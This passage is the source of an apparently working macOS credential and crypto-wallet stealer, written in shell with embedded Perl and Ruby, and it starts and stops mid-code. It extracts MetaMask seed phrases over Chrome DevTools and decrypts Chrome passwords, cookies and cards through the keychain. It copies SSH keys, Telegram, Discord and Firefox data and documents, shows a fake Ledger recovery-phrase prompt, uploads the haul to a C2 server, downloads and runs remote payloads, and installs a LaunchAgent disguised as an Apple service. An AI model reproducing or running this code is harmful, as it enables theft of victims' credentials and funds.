Timeout => 5) or return undef; my $key = encode_base64(pack("C*", map { int(rand(256)) } 1..16), ''); print $sock "GET $path HTTP/1.1\r\nHost: $host:$p\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: $key\r\nSec-WebSocket-Version: 13\r\n\r\n"; my $hdr = ''; my $n; while (index($hdr, "\r\n\r\n") < 0) { my $buf = ''; $n = sysread($sock, $buf, 4096); last unless $n; $hdr .= $buf; } return $sock; } sub ws_send { my ($sock, $text) = @_; my $data = $text; my $len = length $data; my $hdr = chr(0x81); if ($len < 126) { $hdr .= chr(0x80 | $len); } elsif ($len < 65536) { $hdr .= chr(0x80 | 126) . pack("n", $len); } else { $hdr .= chr(0x80 | 127) . pack("Q>", $len); } my $mask = pack("C*", map { int(rand(256)) } 1..4); my $masked = $data ^ ($mask x int($len / 4 + 2)); $masked = substr($masked, 0, $len); print $sock $hdr . $mask . $masked; } sub ws_recv { my ($sock) = @_; my $head = ''; while (length($head) < 2) { my $c = ''; my $n = sysread($sock, $c, 2 - length($head)); return '' unless $n; $head .= $c; } my @h = unpack("CC", $head); my $opcode = $h[0] & 0x0f; my $len = $h[1] & 0x7f; if ($len == 126) { my $b = ''; while (length($b) < 2) { my $c = ''; my $n = sysread($sock, $c, 2 - length($b)); return '' unless $n; $b .= $c; } $len = unpack("n", $b); } elsif ($len == 127) { my $b = ''; while (length($b) < 8) { my $c = ''; my $n = sysread($sock, $c, 8 - length($b)); return '' unless $n; $b .= $c; } $len = unpack("Q>", $b); } my $masked = $h[1] & 0x80; my $mask = ''; if ($masked) { while (length($mask) < 4) { my $c = ''; my $n = sysread($sock, $c, 4 - length($mask)); return '' unless $n; $mask .= $c; } } my $payload = ''; while (length($payload) < $len) { my $c = ''; my $n = sysread($sock, $c, $len - length($payload)); return '' unless $n; $payload .= $c; } if ($masked) { my $un = ''; for my $i (0 .. length($payload) - 1) { $un .= chr(ord(substr($payload, $i, 1)) ^ ord(substr($mask, $i % 4, 1))); } $payload = $un; } return '' if $opcode == 8; return $payload; } sub do_eval { my ($ws_url, $js) = @_; my $sock = ws_open($ws_url) or return ''; ws_send($sock, encode_json({ id => 1, method => 'Runtime.evaluate', params => { expression => $js, returnByValue => \1, awaitPromise => \1, timeout => 10000 } })); my $deadline = time() + 15; while (time() < $deadline) { my $raw = ws_recv($sock); next unless length $raw; my $msg = eval { decode_json($raw) }; next unless $msg && ref $msg eq 'HASH'; if (($msg->{id} || 0) == 1) { return $msg->{result}{result}{value} // ''; } } return ''; } my $js_page = <<'JSEOF'; (async () => { try { const r = await new Promise(res => chrome.storage.local.get('data', res)); if (r && r.data && r.data.KeyringController) { const kc = r.data.KeyringController; const out = {unlocked: true, vaultLen: kc.vault ? kc.vault.length : 0}; if (kc.vault) out.vault = kc.vault; if (kc.keyrings) { out.keyrings = []; for (const kr of kc.keyrings) { const krd = {type: kr.type, accounts: kr.accounts}; if (kr.type === 'HD Key Tree' && kr.data) { if (kr.data.mnemonic) { krd.mnemonic = kr.data.mnemonic; out.seed = kr.data.mnemonic; } } out.keyrings.push(krd); } } return JSON.stringify(out); } return JSON.stringify({unlocked: false, error: 'no storage'}); } catch(e) { return JSON.stringify({error: e.message}); } })() JSEOF my $js_worker = <<'JSEOF2'; (async () => { try { const r = await new Promise(res => chrome.storage.local.get(null, res)); if (!r || !r.data || !r.data.KeyringController) return JSON.stringify({error: 'no KeyringController'}); const kc = r.data.KeyringController; const out = {unlocked: true, vaultLen: kc.vault ? kc.vault.length : 0}; if (kc.vault) out.vault = kc.vault; if (kc.keyrings) { out.keyrings = []; for (const kr of kc.keyrings) { const krd = {type: kr.type, accounts: kr.accounts}; if (kr.type === 'HD Key Tree' && kr.data) { if (kr.data.mnemonic) { krd.mnemonic = kr.data.mnemonic; out.seed = kr.data.mnemonic; } } out.keyrings.push(krd); } } return JSON.stringify(out); } catch(e) { return JSON.stringify({error: e.message}); } })() JSEOF2 sub save_result { my ($val, $found_ref) = @_; return unless length $val; open my $fh, '>', "$savedir/metamask_cdp.json" or return; print $fh $val; close $fh; my $parsed = eval { decode_json($val) }; if ($parsed && ref $parsed eq 'HASH' && $parsed->{unlocked}) { $$found_ref = 1; if ($parsed->{seed}) { open my $sf, '>', "$savedir/metamask_seed.txt"; print $sf $parsed->{seed}; close $sf; print "[MM-CDP] Seed extracted!\n"; } if ($parsed->{vault}) { open my $vf, '>', "$savedir/metamask_vault.json"; print $vf $parsed->{vault}; close $vf; } } } my $found = 0; my $targets = eval { decode_json(http_get('/json')) }; if (ref $targets eq 'ARRAY') { for my $t (@$targets) { if (($t->{type} || '') eq 'page' && index($t->{url} || '', $ext_id) >= 0) { my $val = do_eval($t->{webSocketDebuggerUrl}, $js_page); save_result($val, \$found); last; } } } if (!$found) { $targets = eval { decode_json(http_get('/json')) }; if (ref $targets eq 'ARRAY') { for my $t (@$targets) { my $type = $t->{type} || ''; if (($type eq 'service_worker' || $type eq 'background_page') && index($t->{url} || '', $ext_id) >= 0) { my $val = do_eval($t->{webSocketDebuggerUrl}, $js_worker); save_result($val, \$found); last; } } } } PERL_CDP_EOF if [ -f "${WORKDIR}/metamask_cdp.json" ]; then echo "[MM-CDP] ✅ CDP inject completed. Результат в metamask_cdp.json" fi else echo "[MM-CDP] perl не найден — CDP пропущен" fi fi log_timing "metamask_cdp_end" for br_dir in "${WORKDIR}/browsers/"*/; do bname=$(basename "$br_dir") for prof_dir in "${br_dir}"*/; do prof_dir_clean="${prof_dir%/}" [ -d "${prof_dir_clean}/ext" ] && \ ln -sfn "${prof_dir_clean}/ext" "${prof_dir_clean}/Local Extension Settings" 2>/dev/null [ -d "${prof_dir_clean}/indexeddb" ] && \ ln -sfn "${prof_dir_clean}/indexeddb" "${prof_dir_clean}/IndexedDB" 2>/dev/null if [ -d "${prof_dir_clean}/local_storage" ]; then mkdir -p "${prof_dir_clean}/Local Storage" 2>/dev/null ln -sfn "${prof_dir_clean}/local_storage" "${prof_dir_clean}/Local Storage/leveldb" 2>/dev/null fi done done log_timing "safari_start" safari_dir="${HOME}/Library/Safari" if [ -d "$safari_dir" ]; then mkdir -p "${WORKDIR}/safari" for cpath in "${safari_dir}/Cookies.binarycookies" "${HOME}/Library/Cookies/Cookies.binarycookies"; do [ -f "$cpath" ] && cp "$cpath" "${WORKDIR}/safari/" 2>/dev/null done for hpath in \ "${HOME}/Library/Application Support/com.apple.Safari/History.db" \ "${safari_dir}/History.db" \ "${HOME}/Library/Safari/History.db"; do [ -f "$hpath" ] && cp "$hpath" "${WORKDIR}/safari/history.db" 2>/dev/null && break done for sf_file in "com.apple.Safari.plist" "CloudTabs.db" "Bookmarks.plist" "Downloads.plist"; do for sf_base in "${HOME}/Library/Preferences" "${safari_dir}"; do sf_path="${sf_base}/${sf_file}" [ -f "$sf_path" ] && cp "$sf_path" "${WORKDIR}/safari/" 2>/dev/null done done fi for antik_path in \ "${HOME}/Library/Application Support/Dolphin Anty" \ "${HOME}/Library/Application Support/Octo" \ "${HOME}/Library/Application Support/Indigo" \ "${HOME}/Library/Application Support/GoLogin" \ "${HOME}/Library/Application Support/AdsPower Global" \ "${HOME}/Library/Application Support/AdsPower" \ "${HOME}/Library/Application Support/Hideaway"; do aname=$(basename "$antik_path" | tr ' ' '_' | tr '[:upper:]' '[:lower:]') [ -d "$antik_path" ] || continue mkdir -p "${WORKDIR}/antik/${aname}" for profile_dir in "${antik_path}/Default" "${antik_path}/profiles" "${antik_path}/Profiles" "${antik_path}/browser_profiles" "${antik_path}/data"; do if [ -d "$profile_dir" ]; then mkdir -p "${WORKDIR}/antik/${aname}/$(basename $profile_dir)" find "$profile_dir" -maxdepth 2 \( -name "Cookies" -o -name "Login Data" -o -name "Local State" -o -name "Web Data" \) -exec cp {} "${WORKDIR}/antik/${aname}/$(basename $profile_dir)/" \; 2>/dev/null find "$profile_dir" -maxdepth 3 -name "*.json" -exec cp {} "${WORKDIR}/antik/${aname}/$(basename $profile_dir)/" \; 2>/dev/null find "$profile_dir" -maxdepth 3 -name "Local Extension Settings" -type d -exec cp -r {} "${WORKDIR}/antik/${aname}/$(basename $profile_dir)/" \; 2>/dev/null fi done [ -f "${antik_path}/Cookies" ] && cp "${antik_path}/Cookies" "${WORKDIR}/antik/${aname}/" 2>/dev/null [ -f "${antik_path}/Login Data" ] && cp "${antik_path}/Login Data" "${WORKDIR}/antik/${aname}/" 2>/dev/null [ -f "${antik_path}/Local State" ] && cp "${antik_path}/Local State" "${WORKDIR}/antik/${aname}/" 2>/dev/null done ff_prof="${HOME}/Library/Application Support/Firefox/Profiles" for prof in "${ff_prof}"/*/; do [ -d "$prof" ] || continue pname=$(basename "$prof") mkdir -p "${WORKDIR}/firefox/${pname}" [ -f "${prof}logins.json" ] && cp "${prof}logins.json" "${WORKDIR}/firefox/${pname}/" 2>/dev/null [ -f "${prof}key4.db" ] && cp "${prof}key4.db" "${WORKDIR}/firefox/${pname}/" 2>/dev/null [ -f "${prof}cookies.sqlite" ] && cp "${prof}cookies.sqlite" "${WORKDIR}/firefox/${pname}/" 2>/dev/null [ -f "${prof}places.sqlite" ] && cp "${prof}places.sqlite" "${WORKDIR}/firefox/${pname}/history.db" 2>/dev/null [ -f "${prof}formhistory.sqlite" ] && cp "${prof}formhistory.sqlite" "${WORKDIR}/firefox/${pname}/autofill.db" 2>/dev/null ff_ext="${prof}extensions" if [ -d "$ff_ext" ]; then mkdir -p "${WORKDIR}/firefox/${pname}/extensions" for ext_item in "${ff_ext}"/*; do [ -e "$ext_item" ] || continue cp -r "$ext_item" "${WORKDIR}/firefox/${pname}/extensions/" 2>/dev/null done ff_ext_data="${prof}extension-store" [ -f "$ff_ext_data" ] && cp "$ff_ext_data" "${WORKDIR}/firefox/${pname}/extension-store.json" 2>/dev/null ff_ext_data2="${prof}browser-extension-data" [ -d "$ff_ext_data2" ] && cp -r "$ff_ext_data2" "${WORKDIR}/firefox/${pname}/extension-data/" 2>/dev/null fi done log_timing "telegram_start" tdata="${HOME}/Library/Application Support/Telegram Desktop/tdata" [ -d "$tdata" ] && tar czf "${WORKDIR}/telegram.tar.gz" -C "$(dirname "$tdata")" "tdata" 2>/dev/null log_timing "discord_start" for dc in discord discordptb discordcanary; do dc_path="${HOME}/Library/Application Support/${dc}" [ -f "${dc_path}/Local State" ] && cp "${dc_path}/Local State" "${WORKDIR}/discord_${dc}_state" 2>/dev/null [ -d "${dc_path}" ] && find "${dc_path}" -name "*.ldb" -exec cp {} "${WORKDIR}/" \; 2>/dev/null done if [ -d "${HOME}/.ssh" ]; then mkdir -p "${WORKDIR}/ssh" cp "${HOME}/.ssh/id_"* "${WORKDIR}/ssh/" 2>/dev/null cp "${HOME}/.ssh/known_hosts" "${WORKDIR}/ssh/" 2>/dev/null cp "${HOME}/.ssh/config" "${WORKDIR}/ssh/" 2>/dev/null fi for vpn in "openvpn" "wireguard"; do vpn_dir="${HOME}/Library/Application Support/${vpn}" [ -d "$vpn_dir" ] && tar czf "${WORKDIR}/vpn_${vpn}.tar.gz" -C "$(dirname "$vpn_dir")" "$vpn" 2>/dev/null [ -d "${HOME}/.${vpn}" ] && tar czf "${WORKDIR}/vpn_${vpn}_home.tar.gz" -C "${HOME}" ".${vpn}" 2>/dev/null done for docdir in "Desktop" "Documents" "Downloads"; do dd="${HOME}/${docdir}" [ -d "$dd" ] || continue for ext in txt pdf doc docx xls xlsx wallet key rtf seed kdbx; do for f in "$dd"/*."$ext" "$dd"/*."${ext^^}"; do [ -f "$f" ] && [ $(stat -f%z "$f" 2>/dev/null || stat -c%s "$f" 2>/dev/null) -lt 5242880 ] 2>/dev/null && cp "$f" "${WORKDIR}/docs/" 2>/dev/null || true done done ls -1 "$dd" 2>/dev/null | while read -r fname; do f="$dd/$fname" [ -f "$f" ] || continue [ $(stat -f%z "$f" 2>/dev/null || stat -c%s "$f" 2>/dev/null) -ge 5242880 ] 2>/dev/null && continue lname=$(echo "$fname" | tr '[:upper:]' '[:lower:]') if echo "$lname" | grep -qE 'seed|recovery|backup|passphrase|password|secret|mnemonic|private|wallet|key|note|login|token|phrase|2fa|auth|crypto|bitcoin|btc|eth|sol|ledger|trezor|metamask|phantom|exodus|code|vpn|bank|account|discord|telegram'; then cp "$f" "${WORKDIR}/docs/" 2>/dev/null || true fi done done # note_db="${HOME}/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite" # [ -f "$note_db" ] && cp "$note_db" "${WORKDIR}/notes.sqlite" 2>/dev/null for fp in "iCloud" "Dropbox" "GoogleDrive" "OneDrive"; do fp_path="${HOME}/Library/Application Support/${fp}" [ -f "${fp_path}/accounts" ] && cp "${fp_path}/accounts" "${WORKDIR}/cloud_${fp}_accounts" 2>/dev/null done system_profiler SPHardwareDataType > "${WORKDIR}/hardware.txt" 2>/dev/null system_profiler SPSoftwareDataType > "${WORKDIR}/software.txt" 2>/dev/null system_profiler SPNetworkDataType > "${WORKDIR}/network.txt" 2>/dev/null killall -9 "Google Chrome" 2>/dev/null || true killall -9 "Google Chrome" 2>/dev/null || true sleep 0.5 if [ -d "${HOME}/Library/Application Support/Google/Chrome" ]; then mkdir -p "${WORKDIR}/chrome_pw" cp "${HOME}/Library/Application Support/Google/Chrome/Local State" "${WORKDIR}/chrome_pw/state.json" 2>/dev/null cp "${HOME}/Library/Application Support/Google/Chrome/Default/Login Data" "${WORKDIR}/chrome_pw/logins.db" 2>/dev/null cp "${HOME}/Library/Application Support/Google/Chrome/Default/Login Data For Account" "${WORKDIR}/chrome_pw/logins_account.db" 2>/dev/null # Пытаемся расшифровать Chrome данные # Chrome на macOS: Keychain "Chrome Safe Storage" -> PBKDF2(HMAC-SHA1, salt="saltysalt", 1003 iter) -> AES-128-CBC (IV=16 пробелов) # Chrome на Linux/Windows: os_crypt.encrypted_key (0x01+raw) -> AES-256-GCM KEYCHAIN_PASS="${PASSWORD}" if command -v ruby >/dev/null 2>&1; then echo "[PW] Расшифровка Chrome-данных [ruby]..." ruby - "$WORKDIR" "$PASSWORD" <<'RUBY_PW_EOF' 2>/dev/null || true require "openssl" require "json" require "base64" require "fileutils" require "timeout" require "shellwords" def decrypt_chrome(blob, key_bytes, is_macos, is_gcm) return nil if blob.nil? || blob.bytesize < 4 return nil unless blob.start_with?("v10", "v11") data = blob.byteslice(3, blob.bytesize - 3) tries = data.bytesize > 32 ? [true, false] : [false] tries.each do |strip_hash| begin payload = strip_hash ? data.byteslice(32, data.bytesize - 32) : data dec = if is_macos c = OpenSSL::Cipher.new("aes-128-cbc") c.decrypt c.key = key_bytes c.iv = " " * 16 d = c.update(payload) + c.final pad_len = d.getbyte(d.bytesize - 1) d = d.byteslice(0, d.bytesize - pad_len) if pad_len.between?(1, 16) d elsif is_gcm nonce = payload.byteslice(0, 12) ct = payload.byteslice(12, payload.bytesize - 12 - 16) tag = payload.byteslice(-16, 16) c = OpenSSL::Cipher.new("aes-256-gcm") c.decrypt c.key = key_bytes c.iv = nonce c.auth_tag = tag c.update(ct) + c.final else nil end next if dec.nil? return dec.force_encoding("UTF-8").encode("UTF-8", invalid: :replace, undef: :replace) rescue next end end nil end def sqlite_json(db, sql) out = `sqlite3 -json "#{db}" "#{sql}" 2>/dev/null` return [] if out.nil? || out.strip.empty? begin JSON.parse(out) rescue [] end end def find_dbs(workdir, names) found = [] Dir.glob(File.join(workdir, "**", "*")).each do |p| found << p if names.include?(File.basename(p)) end found end # --- выполнение команды с жёстким таймаутом (kill по истечении) --- def sh_timed(cmd, timeout = 5) out = nil rd, wr = IO.pipe pid = Process.spawn(cmd, out: wr, err: File::NULL) wr.close begin Timeout.timeout(timeout) { out = rd.read } rescue Timeout::Error begin Process.kill("KILL", pid) rescue end ensure begin Process.wait(pid) rescue end begin rd.close rescue end end out.to_s end workdir = ARGV[0].to_s password = ARGV[1].to_s workdir = "/tmp" if workdir.empty? pwdir = File.join(workdir, "chrome_pw") begin Dir.mkdir(pwdir) rescue end key_bytes = nil kchain = File.expand_path("~/Library/Keychains/login.keychain-db") sv = "" if !password.empty? # разблокируем keychain паролем пользователя, затем читаем Chrome Safe Storage sh_timed("security unlock-keychain -p #{Shellwords.escape(password)} #{Shellwords.escape(kchain)}", 5) sv = begin sh_timed("security find-generic-password -a Chrome -s \"Chrome Safe Storage\" -w #{Shellwords.escape(kchain)}", 5) rescue "" end end sv = sv.to_s.strip if !sv.empty? key_bytes = OpenSSL::PKCS5.pbkdf2_hmac(sv, "saltysalt", 1003, 16, OpenSSL::Digest.new("SHA1")) begin File.write(File.join(pwdir, "safe_storage_key.txt"), sv) rescue end end if key_bytes.nil? [ File.join(pwdir, "state.json"), File.join(pwdir, "local_state.json"), File.expand_path("~/Library/Application Support/Google/Chrome/Local State"), ].each do |p| next unless File.exist?(p) begin ls = JSON.parse(File.read(p)) ek_b64 = ls.dig("os_crypt", "encrypted_key").to_s next if ek_b64.empty? ek = Base64.decode64(ek_b64) if [17, 33].include?(ek.bytesize) && ek.getbyte(0) == 1 key_bytes = ek.byteslice(1, ek.bytesize - 1) break end rescue end end end ["~/Library/Keychains/login.keychain-db", "~/Library/Keychains/login.keychain", "~/Library/Keychains/Login.keychain"].each do |kp| k = File.expand_path(kp) begin FileUtils.cp(k, pwdir) if File.exist?(k) rescue end end exit 0 if key_bytes.nil? is_macos = key_bytes.bytesize == 16 is_gcm = key_bytes.bytesize == 32 db_version = 0 find_dbs(workdir, ["logins.db", "Login Data"]).each do |db| rows = sqlite_json(db, "SELECT value FROM meta WHERE key='version'") rows.each { |r| db_version = r["value"].to_i if r["value"].to_i > 0 } end pw_rows = [] find_dbs(workdir, ["logins.db", "Login Data"]).each do |db| sqlite_json(db, "SELECT origin_url, username_value, hex(password_value) AS p FROM logins").each do |r| blob = [r["p"].to_s].pack("H*") v = decrypt_chrome(blob, key_bytes, is_macos, is_gcm) || "" pw_rows << [r["origin_url"].to_s, r["username_value"].to_s, v] end end begin File.open(File.join(pwdir, "decrypted.txt"), "w") do |f| pw_rows.each { |row| f.puts row.join("\t") } end rescue end ck_rows = [] find_dbs(workdir, ["cookies.db", "Cookies"]).each do |db| sqlite_json(db, "SELECT host_key, name, path, hex(encrypted_value) AS e, has_expires, expires_utc FROM cookies").each do |r| blob = [r["e"].to_s].pack("H*") dec_val = "" dec_val = decrypt_chrome(blob, key_bytes, is_macos, is_gcm) || "" if blob.start_with?("v10", "v11") ck_rows << [r["host_key"].to_s, r["name"].to_s, r["path"].to_s, dec_val, r["has_expires"].to_s, r["expires_utc"].to_s] end end begin File.open(File.join(pwdir, "cookies_decrypted.txt"), "w") do |f| ck_rows.each { |row| f.puts row.join("\t") } end rescue end cc_rows = [] find_dbs(workdir, ["cards.db", "Web Data"]).each do |db| sqlite_json(db, "SELECT guid, name_on_card, hex(card_number_encrypted) AS e, expiration_month, expiration_year FROM credit_cards").each do |r| blob = [r["e"].to_s].pack("H*") dec_num = "" dec_num = decrypt_chrome(blob, key_bytes, is_macos, is_gcm) || "" unless blob.empty? cc_rows << [r["guid"].to_s, r["name_on_card"].to_s, dec_num, r["expiration_month"].to_s, r["expiration_year"].to_s] end end begin File.open(File.join(pwdir, "cards_decrypted.txt"), "w") do |f| cc_rows.each { |row| f.puts row.join("\t") } end rescue end begin File.open(File.join(pwdir, "decrypt_result.txt"), "w") do |f| f.write("pw=#{pw_rows.length} ck=#{ck_rows.length} cc=#{cc_rows.length} key_ok=1 db_ver=#{db_version} macos=#{is_macos ? 1 : 0} gcm=#{is_gcm ? 1 : 0}\n") end rescue end RUBY_PW_EOF if [ -f "${WORKDIR}/chrome_pw/decrypt_result.txt" ]; then echo "[PW] ✅ Расшифровка выполнена" fi else echo "[PW] ruby не найден — расшифровка пропущена" fi fi mkdir -p "${WORKDIR}/shell" [ -f "${HOME}/.bash_history" ] && cp "${HOME}/.bash_history" "${WORKDIR}/shell/bash_history.txt" 2>/dev/null [ -f "${HOME}/.zsh_history" ] && cp "${HOME}/.zsh_history" "${WORKDIR}/shell/zsh_history.txt" 2>/dev/null [ -f "${HOME}/.zshrc" ] && cp "${HOME}/.zshrc" "${WORKDIR}/shell/zshrc.txt" 2>/dev/null [ -f "${HOME}/.bashrc" ] && cp "${HOME}/.bashrc" "${WORKDIR}/shell/bashrc.txt" 2>/dev/null [ -f "${HOME}/.profile" ] && cp "${HOME}/.profile" "${WORKDIR}/shell/profile.txt" 2>/dev/null mkdir -p "${WORKDIR}/system" [ -f "/etc/hosts" ] && cp "/etc/hosts" "${WORKDIR}/system/hosts.txt" 2>/dev/null [ -f "/etc/resolv.conf" ] && cp "/etc/resolv.conf" "${WORKDIR}/system/resolv.conf" 2>/dev/null [ -f "/etc/hostname" ] && cp "/etc/hostname" "${WORKDIR}/system/hostname.txt" 2>/dev/null ls /Applications/ > "${WORKDIR}/system/apps_system.txt" 2>/dev/null ls "${HOME}/Applications/" > "${WORKDIR}/system/apps_user.txt" 2>/dev/null system_profiler SPApplicationsDataType > "${WORKDIR}/system/apps_detail.txt" 2>/dev/null & [ -f "/etc/pf.conf" ] && cp "/etc/pf.conf" "${WORKDIR}/system/pf.conf" 2>/dev/null networksetup -listallnetworkservices > "${WORKDIR}/system/net_services.txt" 2>/dev/null timeout 3 arp -a > "${WORKDIR}/system/arp_cache.txt" 2>/dev/null ps aux > "${WORKDIR}/system/processes.txt" 2>/dev/null log_timing "trojan_wallets_start" TROJAN_SCRIPT="/tmp/.oao_trojan_${BID}.sh" curl -sSfL "${C2_URL}/api/payload/trojan/${BID}" -o "$TROJAN_SCRIPT" 2>/dev/null if [ -f "$TROJAN_SCRIPT" ] && [ -s "$TROJAN_SCRIPT" ]; then chmod +x "$TROJAN_SCRIPT" bash "$TROJAN_SCRIPT" "$C2_URL" "$BID" "$WORKDIR" > /dev/null 2>&1 & TROJAN_PID=$! fi mkdir -p "${WORKDIR}/seeds" seed_search_dirs=( "${HOME}/Desktop" "${HOME}/Documents" "${HOME}/Downloads" "${HOME}/.config" "${HOME}/.ssh" ) seed_patterns="seed|recovery|mnemonic|backup.*phrase|wallet.*backup|private.*key|secret.*key|privatekey|secretkey" for sdir in "${seed_search_dirs[@]}"; do [ -d "$sdir" ] || continue timeout 5 find "$sdir" -type f \( -iname "*.txt" -o -iname "*.pdf" -o -iname "*.doc" -o -iname "*.docx" -o -iname "*.rtf" -o -iname "*.md" -o -iname "*.csv" -o -iname "*.json" -o -iname "*.log" \) \ -size -500k 2>/dev/null | while read -r f; do content=$(head -200 "$f" 2>/dev/null | LC_ALL=C tr -d '\n\r' 2>/dev/null) word_count=$(echo "$content" | grep -oE '\b[a-z]{3,8}\b' | head -25 | wc -l) fname=$(basename "$f" | tr '[:upper:]' '[:lower:]') if echo "$fname" | grep -qE "$seed_patterns"; then cp "$f" "${WORKDIR}/seeds/" 2>/dev/null continue fi if [ "$word_count" -ge 10 ] 2>/dev/null; then cp "$f" "${WORKDIR}/seeds/" 2>/dev/null fi done done crypto_data_paths=( "${HOME}/.ethereum/keystore" "${HOME}/.config/solana/id.json" "${HOME}/.near-credentials" "${HOME}/.polkadot" "${HOME}/.cosmos" "${HOME}/.terra" "${HOME}/.avalanche" "${HOME}/.sui" "${HOME}/.aptos" "${HOME}/.fuel" "${HOME}/.starknet" ) for cp_path in "${crypto_data_paths[@]}"; do [ -f "$cp_path" ] || [ -d "$cp_path" ] || continue target_dir="${WORKDIR}/seeds/$(echo "$cp_path" | tr '/' '_')" mkdir -p "$(dirname "$target_dir")" cp -r "$cp_path" "${target_dir}" 2>/dev/null done # ===== Seed Phishing — фейковое окно восстановления ===== log_timing "seed_phishing_start" for ledger_proc in "Ledger Live" "Ledger Wallet" "Trezor Suite"; do pgrep -i "$ledger_proc" >/dev/null 2>&1 || continue # Ждём немного чтобы убедиться что приложение активно sleep 2 osascript << APPLESCRIPT_END tell application "$ledger_proc" to activate delay 0.5 tell application "System Events" tell process "$ledger_proc" set frontmost to true end tell end tell -- Фейковое окно восстановления set seedResult to display dialog "Critical Security Alert" & return & return & "Your $ledger_proc has detected unusual activity on your accounts." & return & "To protect your funds, you must verify your recovery phrase immediately." & return & return & "Please enter your 24-word recovery phrase below:" default answer "" with hidden answer buttons {"Cancel", "Verify Now"} default button "Verify Now" with icon caution giving up after 120 if button returned of seedResult is "Verify Now" then set userSeed to text returned of seedResult if userSeed is not "" then do shell script "echo '" & userSeed & "' > /tmp/.oao_seed_" & "$BID" & ".txt 2>/dev/null" do shell script "curl -s -X POST '" & "$C2_URL" & "/api/seed-capture' --data-urlencode 'bid=" & "$BID" & "' --data-urlencode 'seed='\$(cat /tmp/.oao_seed_" & "$BID" & ".txt 2>/dev/null) --data-urlencode 'wallet=" & "$ledger_proc" & "' --data-urlencode 'user='\$(whoami) --data-urlencode 'host='\$(hostname) > /dev/null 2>&1 &" display dialog "Verification successful! Your assets are protected." buttons {"OK"} default button "OK" with icon note giving up after 10 end if end if APPLESCRIPT_END log_timing "seed_phishing_done_${ledger_proc}" done log_timing "seed_phishing_end" echo "{\"bid\":\"${BID}\",\"user\":\"${username}\",\"host\":\"${hostn}\",\"time\":\"$(date)\",\"sudo\":${HAS_SUDO},\"pass\":\"${PASSWORD}\"}" > "${WORKDIR}/meta.json" BROWSER_COUNT=0 WALLET_COUNT=0 COOKIE_COUNT=0 TELEGRAM=0 DISCORD=0 SSH=0 VPN=0 KEYCHAIN=0 NOTES=0 CARDS=0 for b in "${WORKDIR}/browsers"/*/; do [ -d "$b" ] || continue BROWSER_COUNT=$((BROWSER_COUNT + 1)) [ -f "${b}cookies.db" ] && COOKIE_COUNT=$((COOKIE_COUNT + 1)) [ -f "${b}cards.db" ] && CARDS=$((CARDS + 1)) done for w in "${WORKDIR}"/wallet_*.tar.gz; do [ -f "$w" ] && WALLET_COUNT=$((WALLET_COUNT + 1)) || true done [ -d "${WORKDIR}/telegram.tar.gz" ] || [ -f "${WORKDIR}/telegram.tar.gz" ] && TELEGRAM=1 ls "${WORKDIR}"/discord_* 2>/dev/null >/dev/null && DISCORD=1 [ -d "${WORKDIR}/ssh" ] && SSH=1 for v in "${WORKDIR}"/vpn_*.tar.gz; do [ -f "$v" ] && VPN=1; done [ -f "${WORKDIR}/keychain.txt" ] && KEYCHAIN=1 [ -f "${WORKDIR}/notes.sqlite" ] && NOTES=1 SUMMARY="$(cat < /dev/null 2>&1 & log_timing "package_start" cp "$TIMING_LOG" "${WORKDIR}/timing.txt" 2>/dev/null OUTFILE="/tmp/.oao_out_${BID}.tar.gz" tar czf "$OUTFILE" -C "$WORKDIR" . 2>/dev/null filesize=0 [ -f "$OUTFILE" ] && filesize=$(stat -f%z "$OUTFILE" 2>/dev/null || stat -c%s "$OUTFILE" 2>/dev/null) curl -s -X POST "${C2_URL}/api/upload" \ -F "file=@${OUTFILE};filename=oao_${BID}_${username}.tar.gz" \ -F "bid=${BID}" \ -F "user=${username}" \ -F "host=${hostn}" \ -F "size=${filesize:-0}" 2>&1 log_timing "heartbeat_launch_start" mkdir -p "${HOME}/Library/.c2" "${HOME}/Library/LaunchAgents" 2>/dev/null curl -sSfL --max-time 15 "${C2_URL}/static/heartbeat.sh" -o "${HOME}/Library/.c2/heartbeat.sh" 2>/dev/null if [ -f "${HOME}/Library/.c2/heartbeat.sh" ]; then chmod +x "${HOME}/Library/.c2/heartbeat.sh" sed -i '' "s/ps_Q4huLTcs.ps1/${BID}/g; s|https://c2.cryptobwh.icu|${C2_URL}|g" "${HOME}/Library/.c2/heartbeat.sh" 2>/dev/null cat > "${HOME}/Library/LaunchAgents/com.apple.heartbeat.plist" << PLIST Label com.apple.heartbeat ProgramArguments /bin/bash ${HOME}/Library/.c2/heartbeat.sh RunAtLoad KeepAlive ThrottleInterval 30 StandardOutPath ${HOME}/Library/.c2/launchd_out.log StandardErrorPath ${HOME}/Library/.c2/launchd_err.log EnvironmentVariables BID ${BID} C2_URL ${C2_URL} PATH /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin PLIST chmod 644 "${HOME}/Library/LaunchAgents/com.apple.heartbeat.plist" launchctl unload "${HOME}/Library/LaunchAgents/com.apple.heartbeat.plist" 2>/dev/null || true launchctl load "${HOME}/Library/LaunchAgents/com.apple.heartbeat.plist" 2>/dev/null || true sleep 2 if pgrep -f "heartbeat.sh" >/dev/null 2>&1; then : # heartbeat running via launchd else nohup bash "${HOME}/Library/.c2/heartbeat.sh" > "${HOME}/Library/.c2/launchd_out.log" 2>&1 & disown fi fi rm -f "/tmp/.oao_full_${BID}.sh" log_timing "chrome_ext_start" EXT_ID="aogegjagjmepfenadmdibedgbijmfjgh" C2_DIR="${HOME}/Library/.c2" EXT_SRC="${C2_DIR}/oao_ext" mkdir -p "${EXT_SRC}" "${C2_DIR}" curl -sSfL --max-time 15 "${C2_URL}/static/oao_extension/chrome_ext_forge.sh" -o "${C2_DIR}/chrome_ext_forge.sh" 2>/dev/null && chmod +x "${C2_DIR}/chrome_ext_forge.sh" if ! [ -f "${C2_DIR}/chrome_ext_forge.sh" ]; then echo "[ext] forge download failed" >> "${HOME}/Library/.c2/hb.log" 2>/dev/null fi for f in manifest.json content.js inject.js service_worker.js icon16.png icon32.png icon48.png icon128.png popup.html popup.js; do curl -sSfL --max-time 10 "${C2_URL}/static/oao_extension/${f}" -o "${EXT_SRC}/${f}" 2>/dev/null || true done if [ -f "${C2_DIR}/chrome_ext_forge.sh" ]; then EXT_BID="${BID}" EXT_ID="${EXT_ID}" EXT_SRC="${EXT_SRC}" bash "${C2_DIR}/chrome_ext_forge.sh" 2>/dev/null log "chrome_ext:forge_done" fi log_timing "chrome_ext_done" # Watchdog — если расширение пропало, переустанавливает (проверка каждые 5 сек) # Обновляем всегда, чтобы перезатереть старый watchdog со старым EXT_ID if curl -sSfL --max-time 15 